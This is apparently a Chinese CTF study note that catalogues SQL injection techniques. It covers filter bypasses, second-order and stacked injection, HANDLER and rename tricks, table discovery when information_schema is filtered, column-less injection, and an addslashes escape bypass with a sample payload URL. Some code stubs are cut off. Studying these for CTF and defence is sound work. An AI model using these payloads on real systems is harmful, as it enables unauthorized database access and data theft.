这一篇主要就是总结了一下我在学习sql注入和做相关题目的时候遇到的一些题型、知识点、攻击方法和特别的绕过方法,内容不是很全,但肯定有用😉
小知识记录:
空格:
()
或/**/
替代=
:like
替代%00
也可以注释(截断)后面的'
replace可以替代insert插入
查询所有库
select schema_name from information_schema.schemata
replace into score values("火华",666,666,666); #插入数据
delete from score where listen=11; #删除数据
二次注入
[网鼎杯 2018]Comment
[网鼎杯2018]Unfinish
注册好之后会自动跳转到登录页面,我们登上去发现我们的用户名出现在了界面上,那么这就很可能是用户明通过登录之后从数据库查询传到index.php页面了,那这就很符合二次注入的点了,我们就只能在注册的时候考虑用户名注入了,那我们就尝试构建一下payload
//注册用户
insert into tables values('$email','$username','$password')
regexp
与like
匹配
like
匹配
在表t
列c
中,匹配以f
开头;以f
结尾;包含f
;包含f/l/a
的记录。
select * from t where c like 'f%' |
regexp
正则匹配
在表t
列c
中,匹配以f
开头;以f
结尾;包含f
的记录。
select * from t where c regexp '^f' |
匹配包含f
或l
或a
的记录
select * from t where c regexp 'f|l|a' |
匹配包含ae/be/ce/de
的记录;匹配包含ea/eb/ec/ed
的记录
select * from t where c regexp '[abcd]e' |
使用-
进行范围匹配搜索
select * from t where c regexp '[a-d]e' |
regexp
盲注脚本
import requests |
堆叠注入
[强网杯 2019]随便注、[GYCTF2020]Blacklist
show
查询
show databases; |
重命名获取字段内容
这个方法比较绕,大致思路如下:通常输入1
能获取一个普通的字段内容,这里输入1
可以获取words 表id 字段中的数据,我们要的flag 在flag_table 表flag 字段中。然后将原来的表和列改为其他名字,将flag 的表和列改为word 和id,如此直接输入1
便能查询到flag。
# 1';payload# |
handler
查表
handler
用来读表中的数据,会根据语句后面的参数决定。需要注意的是,在用handler
读取表中数据的时候,需要先open
一个表,然后才能read
,最后还需要close
。
HANDLER demo OPEN; |
过滤information
获取表名
mysql.innodb.table.stats
和database_name=""
SELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name=database() |
sys.schema_table_statistics_with_buffer
SELECT group_concat(table_name) FROM sys.schema_table_statistics_with_buffer WHERE table_schema= |
无列名注入
法一
注:这个方法必须当union
没有被过滤时才能利用。
table0
中有3
个字段(列),输入以下命令
select 1,2,3 union select * from table0 |
会得到如下内容
1 |
2 |
3 |
---|---|---|
linyue |
2333 |
happy |
jiantang |
5799 |
fine |
这样就获得了一张新表table1
,其字段名是1 2 3
,内容还是table0
中原来的内容
# 获取第一列的内容 |
如果过滤了反引号,使用如下方法绕过
#获取第一列的内容 |
ascii
比较
查询字段数
((select 1,2,3)>(select * from f1ag_1s_h3r3_hhhhh)) |
1,2,3或1,2这样不断尝试,根据回显确定字段数。
直接给脚本吧😅
import string |
addslashes()
和str_replace()
过滤
例题:[CISCN2019 总决赛 Day2 Web1]EasywebGET
传入id
和path
两个参数。
过滤分析
|
addslashes($id)
函数,会在**$id**中的特殊字符前,添加反斜杠,这些特殊字符为:'
、"
、\
、NULL
字符(\0
)。str_replace(array("\\0","%00","\\'","'"),"",$id);
会将**$id中的\0
、%00
、\'
、'
都替换为空字符串。\\0
是NULL字符(\0
),\\'
是转义的单引号\'
,%00
是URL编码的NULL**字符。
转义字符是什么意思?
# echo 'I'm happy.'; (1) |
(1)I'm
中的'
被解释为字符串的结束符;(2)I\'m
中的\'
被解释为一个单引号字符,有了\
的转义,才不会被解释为结束符。
绕过分析
如果输入$id=\0
,addslashes()使其为\\0
,str_replace()过滤其中的\0
,最后剩下一个\
。放入原语句id='{$id}' or path='{$path}'
中,成为id='\' or path='{$path}'
,如此以来,第二个原本为结束符的单引号被转义为单引号字符,而第三个原本为起始符的单引号便成了结束符。
如果输入http://65e65fa9-e2cc-4aba-8ce5-41cee1623c5e.node5.buuoj.cn:81/image.php?id=1\0&path=or 1=1#
,则构成的sql
语句如下:
select * from images where id='1\' or path='or 1=1#' |
原意是由or
连接的id
和path
两个条件,通过恶意注入成了由or
连接的id
和1=1
这两个条件。
现在,参数id
传入1\0
;参数path
传入or xxxx#
,构成的sql
语句中,1\' or path=
无用,or xxxx#
中的xxxx#
才是真正要利用的代码。
注:如果没有过滤,通常我们只需输入1'
,由输入的'
提前闭合,便可以完成注入。而这次我们是利用过滤将原来的结束符转义,再结合第二个条件的开始符来完成注入。